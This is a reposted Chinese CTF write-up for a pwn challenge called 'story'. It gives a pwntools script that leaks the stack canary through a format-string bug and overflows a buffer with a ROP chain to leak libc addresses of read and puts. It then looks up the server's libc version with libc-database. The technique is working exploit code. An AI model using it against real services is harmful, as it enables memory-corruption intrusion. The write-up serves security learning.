story 泄露服务器libc版本

本文介绍了一种利用信息泄露获取服务器Libc版本的方法,通过泄露脚本得到两个函数偏移,再使用libc-database确定Libc版本,最后构造ROP完成攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

记录下学到的姿势,利用信息泄露得到服务器libc 至少两个函数偏移,利用libc-databse得到服务器libc版本

传送门

泄露脚本如下

from pwn import *

context.log_level='DEBUG'

r=remote('ctf2.linkedbyx.com',10755)
#r=process('./story')
elf=ELF('./story')

'''
rop_chain=
payload='a'*0x90+canary+'b'*8+rop_chain
r.sendlineafter('Tell me the size of your story:',payload)
'''

'''
0x0000000000400bd3 : pop rdi ; ret
'''

main=0x0000000000400876

r.sendlineafter('Please Tell Your ID:','%15$p')
r.recvuntil('Hello ')
canary=int(r.recv(18),16)
success('canary:'+hex(canary))

payload='a'*0x88+p64(canary)+'b'*8+p64(0x0000000000400bd3)+p64(elf.got['read'])+p64(elf.plt['puts'])+p64(main)
r.sendlineafter(':','1024')
r.sendlineafter(':',payload)
read=r.recv(12)
print read
#success('read:'+hex(read))

#r.interactive()

r.sendlineafter('Please Tell Your ID:','%15$p')
r.recvuntil('Hello ')
canary=int(r.recv(18),16)
success('canary:'+hex(canary))

payload='a'*0x88+p64(canary)+'b'*8+p64(0x0000000000400bd3)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(main)
r.sendlineafter(':','1024')
r.sendlineafter(':',payload)
puts=r.recv(12)
print puts

r.interactive()

之后./find read 250 puts 690即可泄露服务器libc

root@snip3r:~/libc-database# ./find read 250 puts 690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

有了libc直接构造ROP即可

转载于:https://www.cnblogs.com/snip3r/p/10675538.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值